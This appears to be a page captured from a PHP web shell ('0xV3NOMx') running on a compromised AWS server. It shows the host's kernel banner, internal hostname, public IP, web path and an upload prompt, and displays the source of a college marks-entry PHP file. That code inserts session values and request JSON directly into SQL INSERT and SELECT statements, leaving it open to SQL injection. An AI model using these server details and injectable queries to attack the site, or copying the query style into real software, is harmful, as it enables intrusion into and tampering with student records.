0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.219.158.84


Current Path : /var/www/oasis/src/
Upload File :
Current File : /var/www/oasis/src/enterCOPOmarks.php

<?php
function entercopomarkssubjectwise($aobj_context){
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	$collcode = $_SESSION['collcode'];
	// $query="SELECT DISTINCT LEFT(m.fsubcode,5)AS fsubcode,sub.fsubshort,sub.fsubname, ifnull(st.fco1,'') AS CO1, ifnull(st.fco2,'') AS CO2, 
	// 		ifnull(st.fco3,'') AS CO3, ifnull(st.fco4,'') AS CO4, ifnull(st.fco5,'') AS CO5, ifnull(st.fco6,'') AS CO6 FROM marksint m 
	// 		INNER JOIN student s ON m.fdegree=s.fdegree AND m.fexamno=s.fexamno AND m.fcollcode=s.fcollcode AND m.fregno=s.fregno 
	// 		INNER JOIN subject sub ON m.fdegree=sub.fdegree AND m.fexamno=sub.fexamno AND LEFT(m.fsubcode,5)=sub.fcsubcode
	// 		LEFT JOIN studcopo st ON m.fdegree = st.fdegree AND m.fexamno = st.fexamno
	// 		WHERE m.fcollcode='{$collcode}'";
	$query="SELECT DISTINCT LEFT(m.fsubcode,5)AS fsubcode,sub.fsubshort,sub.fsubname, IFNULL(st.fco1,'') AS CO1, IFNULL(st.fco2,'') AS CO2, 
			IFNULL(st.fco3,'') AS CO3, IFNULL(st.fco4,'') AS CO4, IFNULL(st.fco5,'') AS CO5, IFNULL(st.fco6,'') AS CO6 
			FROM marksint m 
			INNER JOIN student s ON  m.fregno=s.fregno 
			INNER JOIN subject sub ON m.fdegree=sub.fdegree AND m.fexamno=sub.fexamno AND LEFT(m.fsubcode,4)=LEFT(sub.fcsubcode,4)
			LEFT JOIN studcopo st ON m.fdegree = st.fdegree AND m.fexamno = st.fexamno AND LEFT(m.fsubcode,4)=LEFT(st.fsubcode,4)
			WHERE m.fcollcode='{$collcode}'";
			
	$result = $aobj_context->mobj_db->GetAll($query);	
	if($result){
		echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success"); 
	}else{
		$data = 'Fail to load';
		echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); 
	} 	 
}
function postToStudCoPo($aobj_context){
	$collcode = $_SESSION['collcode'];
	$data= json_decode($aobj_context->mobj_data["data"], true); 
	foreach ($data as $key => $value) {
		$query1 = "SELECT cd.fregno,cd.fyear,cd.fcollcode,cd.fexamtype,cd.fdegree,cd.fexamno FROM subject s 
		           INNER JOIN canddet cd ON s.fdegree=cd.fdegree AND s.fexamno=cd.fexamno 
				   AND LEFT(s.fsubcode,4)=cd.fsubcode 
		           WHERE CONCAT(s.fsubcode,s.fssubcode)='{$value['fsubcode']}' AND s.fsubshort='{$value['fsubshort']}' 
				   AND cd.fcollcode='$collcode'";
		$result1 = $aobj_context->mobj_db->GetAll($query1);

		foreach($result1 as $val){
			$query2="INSERT INTO studcopo(fdegree,fexamno,fcollcode,fregno,fsubcode,fsubshort,fyear,fexamtype,fco1,fco2,fco3,fco4,fco5,fco6,fdate)
                     VALUES('{$val['fdegree']}','{$val['fexamno']}','{$collcode}','{$val['fregno']}','{$value['fsubcode']}','{$value['fsubshort']}',
					 '{$val['fyear']}','{$val['fexamtype']}','{$value['CO1']}','{$value['CO2']}','{$value['CO3']}',
					 '{$value['CO4']}','{$value['CO5']}','{$value['CO6']}',NOW())
					 ON DUPLICATE KEY UPDATE fco1 = '{$value['CO1']}', fco2 = '{$value['CO2']}',fco3 = '{$value['CO3']}',
				     fco4 = '{$value['CO4']}',fco5 = '{$value['CO5']}',fco6 = '{$value['CO6']}',fdate = NOW()";
			$result2 = $aobj_context->mobj_db->GetAll($query2);	
		}

	}
}

?>